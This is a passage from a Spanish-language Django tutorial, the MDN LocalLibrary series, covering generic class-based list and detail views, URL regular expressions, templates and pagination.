páginas vamos a mostrar un tipo de vista completamente diferente: vistas genéricas de lista y detalle basadas en clases. Estas pueden reducir significativamente la cantidad de código requerido para las vistas, haciéndolas más fáciles de escribir y mantener.</p> + +<p>La parte final del tutorial mostrará cómo paginar tu información al usar vistas de lista genéricas basadas en clases.</p> + +<h2 id="Página_de_lista_de_libros">Página de lista de libros</h2> + +<p>La página de lista de libros desplegará una lista con todos los registros de libros disponibles en la página, a la cual se accede usando la URL: <code>catalog/books/</code>. La página desplegará un título y un autor para cada registro, siendo el título un hipervículo a la página de detalle de libro relacionada. La página tendrá la misma estructura y navegación que todas las demás páginas en el sitio, y por tanto podemos extender la plantilla base (<strong>base_generic.html</strong>) que creamos en el tutorial anterior.</p> + +<h3 id="Mapeo_URL">Mapeo URL</h3> + +<p>Abre <strong>/catalog/urls.py</strong> y copia allí la línea que se muestra abajo en negrita. De manera muy similar al mapeo de nuestro índice, esta función <code>url()</code> define una expresión regular (RE) para comparala con la URL (<strong>r'^books/$'</strong>), una función de vista que será llamada si la URL coincide (<code>views.BookListView.as_view()</code>) y un nombre para este mapeo en particular.</p> + +<pre class="brush: python">urlpatterns = [ + url(r'^$', views.index, name='index'), +<strong> url(r'^books/$', views.BookListView.as_view(), name='books'),</strong> +]</pre> + +<p>Esta expresión regular coincide con URLs iguales a <code>books/</code> (<code>^</code> es un marcador de inicio de cadena y <code>$</code> es un marcador de fin de cadena). Como se discutió en el tutorial anterior, la URL debió previamente haber coincidido con <code>/catalog</code>, de modo que la vista será llamada en realidad para la URL: <code>/catalog/books/</code>.</p> + +<p>La función de vista tiene un formato diferente al anterior -- eso es porque esta vista será en realidad implementada como una clase. Heredaremos desde una función de vista genérica existente que ya hace la mayoría de lo que queremos que esta función de vista haga, en lugar de escribir la nuestra propia desde el inicio.</p> + +<p>Para las vistas basadas en clases de Django, accedemos a una función de vista apropiada llamando al método de clase <code>as_view()</code>. Esto hace todo el trabajo de crear una instancia de la clase, y asegurarse de que los métodos controladores correctos sean llamados para las solicitudes HTTP entrantes.</p> + +<h3 id="Vista_(basada_en_clases)">Vista (basada en clases)</h3> + +<p>Podríamos fácilmente escribir la vista de lista de libros como una función regular (tal como nuestra vista de índice anterior), la cual consultaría a la base de datos por todos los libros, y luego llamar a <code>render()</code> para pasar dicha lista a una plantilla específica. Sin embargo, en lugar de eso usaremos una vista de lista genérica basada en clases (ListView) -- una clase que hereda desde una vista existente. Debido a que la vista genérica ya implementa la mayoría de la funcionalidad que necesitamos, y sigue la práctica adecuada de Django, seremos capaces de crear una vista de lista más robusta con menos código, menos repetición, y por último menos mantenimiento.</p> + +<p>Abre <strong>catalog/views.py</strong>, y copia el siguiente código al final del archivo:</p> + +<pre class="brush: python">from django.views import generic + +class BookListView(generic.ListView): + model = Book</pre> + +<p>¡Eso es todo! La vista genérica consultará a la base de datos para obtener todos los registros del modelo especificado (<code>Book</code>) y renderizará una plantilla ubicada en <strong>/locallibrary/catalog/templates/catalog/book_list.html</strong> (que crearemos más abajo). Dentro de la plantilla puedes acceder a la lista de libros mediante la variable de plantilla llamada <code>object_list</code> O <code>book_list</code> (esto es, genéricamente, "<code><em>nombre_del_modelo</em>_list</code>").</p> + +<div class="note"> +<p><strong>Nota</strong>: Esta ruta complicada para la ubicación de la plantilla no es un error de digitación -- las vistas genéricas buscan plantillas en <code><em>/application_name/the_model_name</em>_list.html</code> (<code>catalog/book_list.html</code> en este caso) dentro del directorio de la aplicación <code>/<em>application_name</em>/templates/</code> (<code>/catalog/templates/</code>).</p> +</div> + +<p>Puedes añadir atributos para cambiar el comportamiento por defecto de arriba. Por ejemplo, puedes especificar otro archivo de plantilla si necesitas tener múltiples vistas que usen el mismo modelo, o puedes querer usar un nombre diferente de variable de plantilla si <code>book_list</code> no resulta intuitivo para tu caso particular de uso de plantilla. Posiblemente la variación más útil es cambiar/filtrar el conjunto de resultados que se devuelve, así, en lugar de listar todos los libros podrías listar los 5 libros más leídos por otros usuarios.</p> + +<pre class="brush: python">class BookListView(generic.ListView): + model = Book + context_object_name = 'my_book_list' # your own name for the list as a template variable + queryset = Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war + template_name = 'books/my_arbitrary_template_name_list.html' # Specify your own template name/location</pre> + +<h4 id="Sobreescribiendo_métodos_en_vistas_basadas_en_clases">Sobreescribiendo métodos en vistas basadas en clases</h4> + +<p>Si bien no necesitamos hacerlo aquí, puedes también sobreescribir algunos de los métodos de clase.</p> + +<p>Por ejemplo, podemos sobreescribir el método <code>get_queryset()</code> para cambiar la lista de registros devueltos. Esto es más flexible que simplemente ajustar el atributo <code>queryset</code> como lo hicimos en el fragmento de código anterior (aunque en este caso no existe un beneficio real):</p> + +<p> </p> + +<pre class="brush: python">class BookListView(generic.ListView): + model = Book + + def get_queryset(self): + return Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war +</pre> + +<p> </p> + +<p>Podríamos también sobreescribir <code>get_context_data()</code> con el objeto de pasar variables de contexto adicionales a la plantilla (ej. la lista de libros se pasa por defecto). El fragmento de abajo muestra cómo añadir una variable llamada "some_data" al contexto (la misma estaría entonces disponible como una variable de plantilla).</p> + +<pre class="brush: python">class BookListView(generic.ListView): + model = Book + + def get_context_data(self, **kwargs): + # Call the base implementation first to get a context + context = super(BookListView, self).get_context_data(**kwargs) + # Get the blog from id and add it to the context + context['some_data'] = 'This is just some data' + return context</pre> + +<p>Cuando se hace esto es importante seguir este patrón:</p> + +<ul> + <li>Primero obtener el contexto existente desde nuestra superclase.</li> + <li>Luego añadir tu nueva información de contexto.</li> + <li>Luego devolver el nuevo contexto (actualizado).</li> +</ul> + +<div class="note"> +<p><strong>Nota</strong>: Revisa <a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/generic-display/">Built-in class-based generic views</a> (Django docs) para muchos más ejemplos de lo que puedes hacer.</p> +</div> + +<h3 id="Creando_la_plantilla_de_Vista_de_Lista">Creando la plantilla de Vista de Lista</h3> + +<p>Crea el archivo HTML <strong>/locallibrary/catalog/templates/catalog/book_list.html</strong> y copia allí el texto de abajo. Como se discutió antes, este es el archivo de plantilla por defecto esperado por la vista de lista genérica basada en clases (para un modelo llamado <code>Book</code> en una aplicación llamada <code>catalog</code>).</p> + +<p>Las plantillas para las vistas genéricas son como cualquier otra plantilla (si bien el contexto/información enviada a la plantilla puede variar, por supuesto). Como con nuestra plantilla <em>índice</em>, extendemos nuestra plantilla base en la primera línea, y luego reemplazamos el bloque llamado <code>content</code>.</p> + +<pre class="brush: html">{% extends "base_generic.html" %} + +{% block content %} + <h1>Book List</h1> + + <strong>{% if book_list %}</strong> + <ul> + + {% for book in book_list %} + <li> + <a href="\{{ book.get_absolute_url }}">\{{ book.title }}</a> (\{{book.author}}) + </li> + {% endfor %} + + </ul> + <strong>{% else %}</strong> + <p>There are no books in the library.</p> + <strong>{% endif %} </strong> +{% endblock %}</pre> + +<p>La vista envía el contexto (lista de libros) por defecto como <code>object_list</code> y <code>book_list</code> (son áliases, cualquiera de ellos funcionará).</p> + +<h4 id="Ejecución_condicional">Ejecución condicional</h4> + +<p>Usamos las etiquetas de plantilla <code><a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins/#if">if</a></code>, <code>else</code> y <code>endif</code> para revisar si la <code>book_list</code> ha sido definida y no está vacía. Si <code>book_list</code> está vacía, entonces la cláusula <code>else</code> despliega un texto que explica que no existen libros a listar. Si <code>Book_list</code> no está vacía, entonces iteramos a través de la lista de libros.</p> + +<pre class="brush: html"><strong>{% if book_list %}</strong> + <!-- code here to list the books --> +<strong>{% else %}</strong> + <p>There are no books in the library.</p> +<strong>{% endif %}</strong> +</pre> + +<p>La condicional de arriba solo revisa un caso, pero puedes revisar condiciones adicionales usando la etiqueta de plantilla <code>elif</code> (ej. <code>{% elif var2 %}</code>). Para mayor información sobre operadores condicionales mira: <a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins/#if">if</a>, <a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins/#ifequal-and-ifnotequal">ifequal/ifnotequal</a>, y <a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins/#ifchanged">ifchanged</a> en <a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins">Built-in template tags and filters</a> (Django Docs).</p> + +<h4 id="Lazos_For">Lazos For</h4> + +<p>La plantilla usa las etiquetas de plantilla <a href="https://docs.djangoproject.com/en/1.10/ref/templates/builtins/#for">for</a> y <code>endfor</code> para iterar a través de la lista de libros, como se muestra abajo. Cada iteración asigna a la variable de plantilla <code>book</code> la información para el ítem actual de la lista.</p> + +<pre class="brush: html">{% for <strong>book</strong> in book_list %} + <li> <!-- code here get information from each <strong>book</strong> item --> </li> +{% endfor %} +</pre> + +<p>Si bien no se usan aquí, Django creará otras variables dentro del lazo que puedes usar para monitorear la iteración. Por ejemplo, puedes revisar la variable <code>forloop.last</code> para realizar un procesamiento condicional la última vez que el lazo se ejecuta.</p> + +<h4 id="Accediendo_a_las_variables">Accediendo a las variables</h4> + +<p>El código dentro del lazo crea un ítem de lista para cada libro, que muestra tanto el título (como un enlace hacia la vista de detalle que aún no creamos) como el autor.</p> + +<pre class="brush: html"><a href="\{{ book.get_absolute_url }}">\{{ book.title }}</a> (\{{book.author}}) +</pre> + +<p>Accedemos a los <em>campos</em> del registro del libro asociado usando la "notación de punto" (ej. <code>book.title</code> y <code>book.author</code>), donde el texto que sigue a la palabra <code>book</code> es el nombre del campo (como se definió en el modelo).</p> + +<p>También podemos invocar <em>funciones</em> en el modelo desde dentro de nuestra plantilla -- en este caso invocamos a <code>book.get_absolute_url()</code> para obtener una URL que se podría usar para desplegar la página de detalle relacionada. Esto funciona siempre y cuando la función no tenga ningún argumento (¡no hay forma de enviar argumentos!).</p> + +<div class="note"> +<p><strong>Nota</strong>: Debemos tener cuidado de los "efectos secundarios" al invocar funciones en las plantillas. Aquí solo obtenemos una URL para desplegar, pero una función puede hacer casi cualquier cosa -- ¡no quisieramos borrar nuestra base de datos (por ejemplo) solo por renderizar nuestra plantilla!</p> +</div> + +<h4 id="Actualizar_la_plantilla_base">Actualizar la plantilla base</h4> + +<p>Abre la plantilla base (<strong>/locallibrary/catalog/templates/<em>base_generic.html</em></strong>) e inserta <strong>{% url 'books' %}</strong> en el enlace URL para <strong>All books</strong>, como se muestra abajo. Esto habilitará el enlace en todas las páginas (podemos ubicar esto exitosamente en su lugar ahora que hemos creado el mapeo url "books").</p> + +<pre class="brush: python"><li><a href="{% url 'index' %}">Home</a></li> +<strong><li><a href="{% url 'books' %}">All books</a></li></strong> +<li><a href="">All authors</a></li></pre> + +<h3 id="¿Cómo_se_ve">¿Cómo se ve?</h3> + +<p>Aún no podrás ver la lista de libros, porque aún nos falta una dependencia -- el mapeo URL para las páginas de detalle de libros, que se necesita para crear los hipervínculos a los libros individuales. Mostraremos tanto la lista de libros como las vistas de detalle después de la siguiente sección.</p> + +<h2 id="Página_de_detalle_de_libros">Página de detalle de libros</h2> + +<p>La página de detalle de libro desplegará información sobre un libro específico, a la que se accede usando la URL <code>catalog/book/<em><id></em></code> (donde <code><id></code> es la clave primaria para el libro). Además de los campos en el modelo <code>Book</code> (autor, resumen, ISBN, idioma, y género), listaremos también los detalles de las copias disponibles (<code>BookInstances</code>) incluyendo su estado, fecha de devolución esperada, edición e id. Esto permitirá a nuestros lectores no solo saber sobre el libro en sí, sino también confirmar si está disponible o cuándo lo estará.</p> + +<h3 id="Mapeo_URL_2">Mapeo URL</h3> + +<p>Abre <strong>/catalos/urls.py</strong> y añade el mapeador URL <strong>'book-detail'</strong> que se muestra abajo en negrita. Esta función <code>url()</code> define un patrón, vista de detalle genérica basada en clases asociada, y un nombre.</p> + +<pre class="brush: python">urlpatterns = [ + url(r'^$', views.index, name='index'), + url(r'^books/$', views.BookListView.as_view(), name='books'), +<strong> url(r'^book/(?P<pk>\d+)$', views.BookDetailView.as_view(), name='book-detail'),</strong> +]</pre> + +<p>A diferencia de nuestros mapeadores anteriores, en este caso estamos usando nuestra expresión regular (RE) para comparar frente a un "patrón" real en lugar de una simple cadena. Lo que hace esta RE en particular es coincidir con cualquier URL que empiece por <code>book/</code>, seguido de uno o más <em>dígitos</em> (números) antes del marcador de fin de línea. Mientras se realiza la comparación, se "capturan" los dígitos y son enviados a la función de vista como un parámetro llamado <code>pk</code>.</p> + +<div class="note"> +<p><strong>Nota</strong>: Como ya se discutió antes, nuestra URL coincidente es en realidad <code>catalog/book/<digits></code> (como estamos en la aplicación <strong>catalog</strong>, se asume <code>/catalog/</code>).</p> +</div> + +<div class="warning"> +<p><strong>Importante</strong>: La vista de detalle genérica basada en clases <em>espera</em> que se le envíe un parámetro llamado pk. Si estás escribiendo tu propia vista de función, puedes usar el nombre de parámetro que quieras, o incluso enviar la información como un argumento sin nombre.</p> +</div> + +<h4 id="Una_breve_introducción_a_las_expresiones_regulares">Una breve introducción a las expresiones regulares</h4> + +<p>Las <a href="https://docs.python.org/3/library/re.html">expresiones regulares</a> son una herramienta de mapeo de patrones increíblemente poderosa. Hemos dicho poco sobre ellas hasta ahora porque estuvimos comparando con cadenas fijas en nuestras URLs (en lugar de con patrones) y porque son, francamente, bastante intuitivas e intimidantes para los principiantes.</p> + +<div class="note"> +<p><strong>Nota</strong>: ¡No te asustes! Los tipos de patrones con los que estaremos comparando son bastante simples, ¡y en muchos casos están bien documentados!</p> +</div> + +<p>Lo primero que hay que saber es que las expresiones regulares deberían ser declaradas normalmente usando la sintaxis de literal de cadena sin procesar (esto es, están encerradas así: <strong>r'<tu expresión regular va aquí>'</strong>).</p> + +<p>Las partes principales de la sintaxis que necesitarás saber para declarar las coincidencias de patrones son:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Símbolo</th> + <th scope="col">Significado</th> + </tr> + </thead> + <tbody> + <tr> + <td>^</td> + <td>Coincide con el inicio del texto</td> + </tr> + <tr> + <td>$</td> + <td>Coincide con el fin del texto</td> + </tr> + <tr> + <td>\d</td> + <td>Coincide con un dígito (0, 1, 2, ... 9)</td> + </tr> + <tr> + <td>\w</td> + <td> + <p>Concide con un caracter de palabra, ej. cualquier caracter del alfabeto en mayúscula o minúscula, dígito o guión bajo (_)</p> + </td> + </tr> + <tr> + <td>+</td> + <td> + <p>Concide con uno o más caracteres del precedente. Por ejemplo, para coincidir con uno o más dígitos usarías <code>\d+</code>. Para concidir con uno o más caracteres "a", podrías usar <code>a+</code></p> + </td> + </tr> + <tr> + <td>*</td> + <td> + <p>Concide con cero o más caracteres del precedente. Por ejemplo, para coincidir con nada o una palabra podrías usar <code>\w*</code></p> + </td> + </tr> + <tr> + <td>( )</td> + <td> + <p>Captura la parte del patrón dentro de los paréntesis. Todos los valores capturados serán enviados a la vista como parámetros sin nombre (si se captura múltiples patrones, los parámetros asociados serán enviados en el órden en que fueron declaradas las capturas).</p> + </td> + </tr> + <tr> + <td>(?P<<em>name</em>>...)</td> + <td> + <p>Captura el patrón (indicado por ...) como una variable con nombre (en este caso "name"). Los valores capturados se envían a la vista con el nombre especificado. Tu vista debe, por tanto, ¡declarar un argumento con el mismo nombre!</p> + </td> + </tr> + <tr> + <td>[ ]</td> + <td> + <p>Concide con un caracter del conjunto. Por ejemplo, [abc] coincidirá con 'a' o 'b' o 'c'. [-\w] coincidrá con el caracter '-' o con cualquier letra.</p> + </td> + </tr> + </tbody> +</table> + +<p>¡La mayoría de los caracteres restantes se pueden tomar literalmente!</p> + +<p>Consideremos algunos ejemplos reales de patrones:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Patrón</th> + <th scope="col">Descripción</th> + </tr> + </thead> + <tbody> + <tr> + <td><strong>r'^book/(?P<pk>\d+)$'</strong></td> + <td> + <p>Esta es la RE usada en nuestro mapeador url. Concide con una cadena que tiene <code>book/</code> al inicio de la línea (<strong>^book/</strong>), luego tiene uno o más dígitos (<code>\d+</code>), y luego termina (sin ningún caracter que no sea un dígito antes del marcador de fin de línea).</p> + + <p>También captura todos los dígitos <strong>(?P<pk>\d+)</strong> y los envía a la vista como un parámetro llamado 'pk'. <strong>¡Los valores capturados siempre se envían como cadena!</strong></p> + + <p>Por ejemplo, esto coincidiría con <code>book/1234</code>, y enviaría una variable <code>pk='1234'</code> a la vista.</p> + </td> + </tr> + <tr> + <td><strong>r'^book/(\d+)$'</strong></td> + <td> + <p>Esta expresión coincide con las mismas URLs que el caso anterior. La información capturada se enviaría a la vista como un argumento sin nombre.</p> + </td> + </tr> + <tr> + <td><strong>r'^book/(?P<stub>[-\w]+)$'</strong></td> + <td> + <p>Esta expresión coincide con una cadena que tiene <code>book/</code> al inicio de la línea (<strong>^book/</strong>), luego tiene uno o más caracteres que son <em>o bien</em> '-' o una letra (<strong>[-\w]+</strong>), y luego termina. También captura este conjunto de caracteres y los envía a la vista como un parámetro llamado 'stub'.</p> + + <p>Este es un patrón bastante típico para un "talón". Estos talones representan claves primarias en URLs amigables basadas en palabras para la información. Podrías usar un talón si quisieras que la URL de un libro sea más informativa. Por ejemplo, <code>/catalog/book/the-secret-garden</code> en lugar de <code>/catalog/book/33</code>.</p> + </td> + </tr> + </tbody> +</table> + +<p>Puedes capturar múltiples patrones en una sola comparación, y por tanto codificar bastantes datos diferentes en una URL.</p> + +<div class="note"> +<p><strong>Nota</strong>: Como reto, considera cómo podrías codificar una url para listar todos los libros publicados en un año, mes y día en particular, y la RE que podría usarse para la comparación.</p> +</div> + +<h4 id="Enviado_opciones_adicionales_en_tus_mapeos_URL">Enviado opciones adicionales en tus mapeos URL</h4> + +<p>Una característica que no hemos usado aquí, pero que te puede resultar valiosa, es que puedes declarar y enviar <a href="https://docs.djangoproject.com/en/1.10/topics/http/urls/#views-extra-options">opciones adicionales</a> a la vista. Las opciones se declaran como un diccionario que envías como el tercer argumento sin nombre a la función <code>url()</code>. Esta estrategia puede resultar útil si quiere usar la misma vista para múltiples recursos, y enviar información para configurar su comportamiento en cada caso (abajo suministramos una plantilla diferente en cada caso).</p> + +<pre class="brush: python">url(r'^/url/$', views.my_reused_view, {'my_template_name': 'some_path'}, name='aurl'), +url(r'^/anotherurl/$', views.my_reused_view, {'my_template_name': 'another_path'}, name='anotherurl'), + +</pre> + +<div class="note"> +<p><strong>Nota</strong>: Tanto las opciones extra como los patrones capturados con nombre se envían a la vista como argumentos <em>con nombre</em>. Si usas el <strong>mismo nombre</strong> tanto para un patrón capturado como para una opción extra, solo el valor del patrón capturado será enviado a la vista (el valor especificado para la opción extra será eliminado).</p> +</div> + +<h3 id="Vista_(basada_en_clases)_2">Vista (basada en clases)</h3> + +<p>Abre <strong>catalog/views.py</strong> y copia el siguiente código al final del archivo:</p> + +<pre class="brush: python">class BookDetailView(generic.DetailView): + model = Book</pre> + +<p>¡Eso es todo! Lo único que necesitas hacer ahora es crear una plantilla llamada <strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong>, y la vista enviará la información en la base de datos para el registro del libro específico, extraído por el mapeador URL. Dentro de la plantilla puedes acceder a la lista de libros mediante la variable de plantilla llamada <code>object</code> o <code>book</code> (esto es, genéricamente, "<em><code>el_nombre_del_modelo</code></em>").</p> + +<p>Si lo necesitas puedes cambiar la plantilla usada y el nombre del objeto de contexto usado para referenciar al libro en la plantilla. Puedes también sobreescribir métodos para, por ejemplo, añadir información adicional al contexto.</p> + +<h4 id="¿Qué_sucede_si_el_registro_no_existe">¿Qué sucede si el registro no existe?</h4> + +<p>Si un registro solicitado no existe, la vista de detalle genérica basada en clases lanzará automáticamente por tí una excepción de tipo Http404 -- en producción, esto desplegará automáticamente una página apropiada de "recurso no encontrado", que puedes personalizar si lo deseas.</p> + +<p>Solo para darte una idea sobre cómo funciona esto, el fragmento de código de abajo demuestra cómo implementarías la vista basada en clases como una función, si <strong>no</strong> estuvieras usando la vista de detalle genérica basada en clases.</p> + +<pre class="brush: python">def book_detail_view(request,pk): + try: + book_id=Book.objects.get(pk=pk) + except Book.DoesNotExist: + raise Http404("Book does not exist") + + #book_id=get_object_or_404(Book, pk=pk) + + return render( + request, + 'catalog/book_detail.html', + context={'book':book_id,} + ) +</pre> + +<p>Primero, la vista intenta recuperar el registro del libro específico desde el modelo. Si esto falla, la vista debería lanzar una excepción de tipo <code>Http404</code> para indicar que el libro "no se encuentra". El último paso es, como de costumbre, llamar a <code>render()</code> con el nombre de la plantilla y la información del libro en el parámetro <code>context</code> (como un diccionario).</p> + +<div class="note"> +<p><strong>Nota</strong>: <code>get_object_or_404()</code> (que se muestra comentado arriba), es un atajo conveniente para lanzar una excepción de tipo <code>Http404</code> si el registro no se encuentra.</p> +</div> + +<h3 id="Creando_la_plantilla_de_Vista_de_Detalle">Creando la plantilla de Vista de Detalle</h3> + +<p>Crea el archivo HTML <strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong> y ponle el contenido de abajo. Como se discutió antes, este es el nombre de archivo por defecto esperado por la vista de detalle genérica basada en clases (para un modelo llamado <code>Book</code> en una aplicación llamada <code>catalog</code>).</p> + +<pre class="brush: html">{% extends "base_generic.html" %} + +{% block content %} + <h1>Title: \{{ book.title }}</h1> + + <p><strong>Author:</strong> <a href="">\{{ book.author }}</a></p> <!-- author detail link not yet defined --> + <p><strong>Summary:</strong> \{{ book.summary }}</p> + <p><strong>ISBN:</strong> \{{ book.isbn }}</p> + <p><strong>Language:</strong> \{{ book.language }}</p> + <p><strong>Genre:</strong> {% for genre in book.genre.all %} \{{ genre }}{% if not forloop.last %}, {% endif %}{% endfor %}</p> + + <div style="margin-left:20px;margin-top:20px"> + <h4>Copies</h4> + + {% for copy in book.bookinstance_set.all %} + <hr> + <p class="{% if copy.status == 'a' %}text-success{% elif copy.status == 'm' %}text-danger{% else %}text-warning{% endif %}">\{{ copy.get_status_display }}</p> + {% if copy.status != 'a' %}<p><strong>Due to be returned:</strong> \{{copy.due_back}}</p>{% endif %} + <p><strong>Imprint:</strong> \{{copy.imprint}}</p> + <p class="text-muted"><strong>Id:</strong> \{{copy.id}}</p> + {% endfor %} + </div> +{% endblock %}</pre> + +<ul> +</ul> + +<div class="note"> +<p>El enlace <code>author</code> en la plantilla de arriba tiene una URL vacía porque no hemos creado aún una página de detalle de autor. Una vez que esta exista, deberías actualizar la URL así:</p> + +<pre><a href="<strong>{% url 'author-detail' book.author.pk %}</strong>">\{{ book.author }}</a> +</pre> +</div> + +<p>Aunque es un poco más larga, casi todo lo que existe en esta plantilla se ha descrito previamente:</p> + +<ul> + <li>Extendemos nuestra plantilla base y sobreescribimos el bloque "content"</li> + <li>Usamos procesamiento condicional para determinar si desplegar o no contenidos específicos</li> + <li>Usamos lazos <code>for</code> para iterar a través de listas de objetos.</li> + <li>Accedemos a los campos de contexto usando la notación de puntos (como hemos usado la vista de detalle genérica, el contexto se llama <code>book</code>; podríamos también usar "<code>object</code>")</li> +</ul> + +<p>Lo interesante que no hemos visto previamente es la función <code>book.bookinstance_set.all()</code>. Este método es "automágicamente" creado por Django para devolver el conjunto de registros de <code>BookInstance</code> asociado con un <code>Book</code> en particular.</p> + +<pre class="brush: python">{% for copy in book.bookinstance_set.all %} +<!-- code to iterate across each copy/instance of a book --> +{% endfor %}</pre> + +<p>Este método es necesario porque has declarado un campo <code>ForeignKey</code> (uno-a-muchos) únicamente en la lado "uno" de la relación. Como no haces nada para declarar la relación en el otro modelo ("muchos"), este no tiene ningún campo para obtener el conjunto de registros asociados. Para superar este problema, Django construye una función apropiadamente llamada "búsqueda reversa" que puedes usar. El nombre de la función se construye convirtiendo a minúsculas el nombre del modelo donde la <code>ForeignKey</code> fue declarada, seguido por <code>_set</code> (así, la función creada en <code>Book</code> es <code>bookinstance_set()</code>).</p> + +<div class="note"> +<p><strong>Nota</strong>: Aquí usamos <code>all()</code> para obtener todos los registros (la opción por defecto). A pesar de que puedes usar el método <code>filter()</code> para obtener un subconjunto de registros en el código, no puedes hacerlo directamente en las plantillas porque no puedes especificar argumentos para las funciones.</p> + +<p>Ten también cuidado de que si no defines un orden (en tu vista o modelo basado en clases), verás errores arrojados por el servidor de dearrollo como este:</p> + +<pre>[29/May/2017 18:37:53] "GET /catalog/books/?page=1 HTTP/1.1" 200 1637 +/foo/local_library/venv/lib/python3.5/site-packages/django/views/generic/list.py:99: UnorderedObjectListWarning: Pagination may yield inconsistent results with an unordered object_list: <QuerySet [<Author: Ortiz, David>, <Author: H. McRaven, William>, <Author: Leigh, Melinda>]> + allow_empty_first_page=allow_empty_first_page, **kwargs) +</pre> + +<p>Eso sucede porque el <a href="https://docs.djangoproject.com/en/1.10/topics/pagination/#paginator-objects">objeto paginador</a> espera ver una cláusula ORDER BY siendo ejecutada en tu base de datos subyacente. Sin ella, ¡no puede estar seguro de que los registros devueltos están en el orden correcto!</p> + +<p>Este tutorial no llegó a la <strong>Paginación</strong> (aún, pero pronto lo hará), pero como no puedes uar <code>sort_by()</code> y enviar un parámetro (el mismo con <code>filter()</code> descrito arriba) tendrás que escoger entre tres opciones:</p> + +<ol> + <li>Añadir un <code>ordering</code> dentro de una declaración <code>class Meta</code> en tu modelo.</li> + <li>Añadir un atributo <code>queryset</code> en tu vista basada en clases personalizada, especificando un <code>order_by()</code>.</li> + <li>Añadir un método <code>get_queryset</code> a tu vista basada en clases pesonalizada y también especificar el <code>order_by()</code>.</li> +</ol> + +<p>Si te decides por la opción <code>class Meta</code> para el modelo Author (probablemente no tan flexible como personalizar la vista basada en clases, pero lo suficientemente fácil), terminarás con algo como esto:</p> + +<pre>class Author(models.Model): + first_name = models.CharField(max_length=100) + last_name = models.CharField(max_length=100) + date_of_birth = models.DateField(null=True, blank=True) + date_of_death = models.DateField('Died', null=True, blank=True) + + def get_absolute_url(self): + return reverse('author-detail', args=[str(self.id)]) + + def __str__(self): + return '%s, %s' % (self.last_name, self.first_name) + +<strong> class Meta: + ordering = ['last_name']</strong></pre> + +<p>Por supuesto, el campo no tiene que ser <code>last_name</code>: podría ser cualquier otro.</p> +Y por último, pero no menos importante, deberías ordenar por un atributo/columna que tenga un índice real (único o no) en tu base de datos para evitar problemas de rendimiento. Por supuesto, esto no será necesario aquí (y probablemente nos estemos adelantando mucho) para la pequeña cantidad de libros (¡y usuarios!), pero es algo a tener en cuenta para proyectos futuros.</div> + +<h2 id="¿Cómo_se_ve_2">¿Cómo se ve?</h2> + +<p>En este punto deberíamos haber creado todo lo necesario para desplegar tanto la lista de libros como las páginas de detalles de libros. Ejecuta el servidor (<code>python3 manage.py runserver</code>) y dirígete en tu navegador a <a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a>.</p> + +<div class="warning"> +<p><strong>Advertencia</strong>: No hagas click aún en ningún enlace de autor o de detalles de autores -- ¡los crearás en el reto!</p> +</div> + +<p>Haz click en el enlace <strong>All books</strong> para desplegar la lista de libros.</p> + +<p><img alt="Book List Page" src="https://mdn.mozillademos.org/files/14049/book_list_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; height: 216px; margin: 0px auto; width: 823px;"></p> + +<p>Luego haz click en un enlace a uno de tus libros. Si todo está correcto, deberías ver algo como la siguiente pantalla.</p> + +<p><img alt="Book Detail Page" src="https://mdn.mozillademos.org/files/14051/book_detail_page_no_pagination.png" style="border-style: solid; border-width: 1px; display: block; height: 783px; margin: 0px auto; width: 926px;"></p> + +<h2 id="Paginación">Paginación</h2> + +<p>Si apenas tienes unos pocos registros, nuestra página de lista de libros se verá bien. Sin embargo, cuando llegues a las decenas o centenas de registros la página tomará progresivamente más tiempo en cargar (y tendrá demasiado contenido para navegar adecuadamente). La solución a este problema es añadir paginación a tus vistas de lista, reduciendo el número de Ítems desplegados en cada página.</p> + +<p>Django incluye un excelente soporte para paginación. Mejor aún, este está incluído en las vistas de lista genéricas basadas en clases, ¡así que no tienes que hacer mucho para habilitarlo!</p> + +<h3 id="Vistas">Vistas</h3> + +<p>Abre <strong>catalog/views.py</strong>, y añadie la línea <code>paginate_by</code> que se muestra abajo en negrita.</p> + +<pre class="brush: python">class BookListView(generic.ListView): + model = Book + <strong>paginate_by = 10</strong></pre> + +<p>Con esta adición, apenas tengas más de 10 registros la vista comenzará a paginar la información que envía a la plantilla. A las diferentes páginas se accede usando parámetros GET -- para acceder a la página 2 usarías la URL: <code>/catalog/books/?<strong>page=2</strong></code>.</p> + +<h3 id="Plantillas">Plantillas</h3> + +<p>Ahora que la información está paginada, necesitamos añadir soporte a la plantilla para desplazarse a través del conjunto de resultados. Como podríamos querer hacer lo mismo en todas las vistas de lista, lo haremos de una forma en la que puede ser añadida a la plantilla base.</p> + +<p>Abre <strong>/locallibrary/catalog/templates/<em>base_generic.html </em></strong>y copia el siguiente bloque <code>pagination</code> debajo de nuestro bloque <code>content</code> (resaltado abajo en negrita). El código primero revisa si la paginación está habilitada en la página actual. Si lo está, añade enlaces <code>next</code> y <code>previous</code> apropiados (y el número de la página actual).</p> + +<pre class="brush: python"><strong>{% block content %}{% endblock %}</strong> + +{% block pagination %} + {% if is_paginated %} + <div class="pagination"> + <span class="page-links"> + {% if page_obj.has_previous %} + <a href="\{{ request.path }}?page=\{{ page_obj.previous_page_number }}">previous</a> + {% endif %} + <span class="page-current"> + Page \{{ page_obj.number }} of \{{ page_obj.paginator.num_pages }}. + </span> + {% if page_obj.has_next %} + <a href="\{{ request.path }}?page=\{{ page_obj.next_page_number }}">next</a> + {% endif %} + </span> + </div> + {% endif %} +{% endblock %} </pre> + +<p><code>page_obj</code> es un objeto <a href="https://docs.djangoproject.com/en/1.10/topics/pagination/#paginator-objects">Paginator</a> que existirá si se usa la paginación en la página actual. Te permite obtener toda la información sobre la página actual, páginas anteriores, cuántas páginas hay, etc.</p> + +<p>Usamos <code>\{{ request.path }}</code> para obtener la URL de la página actual para crear a su vez los enlaces de paginación. Esto es útil, porque es independiente del 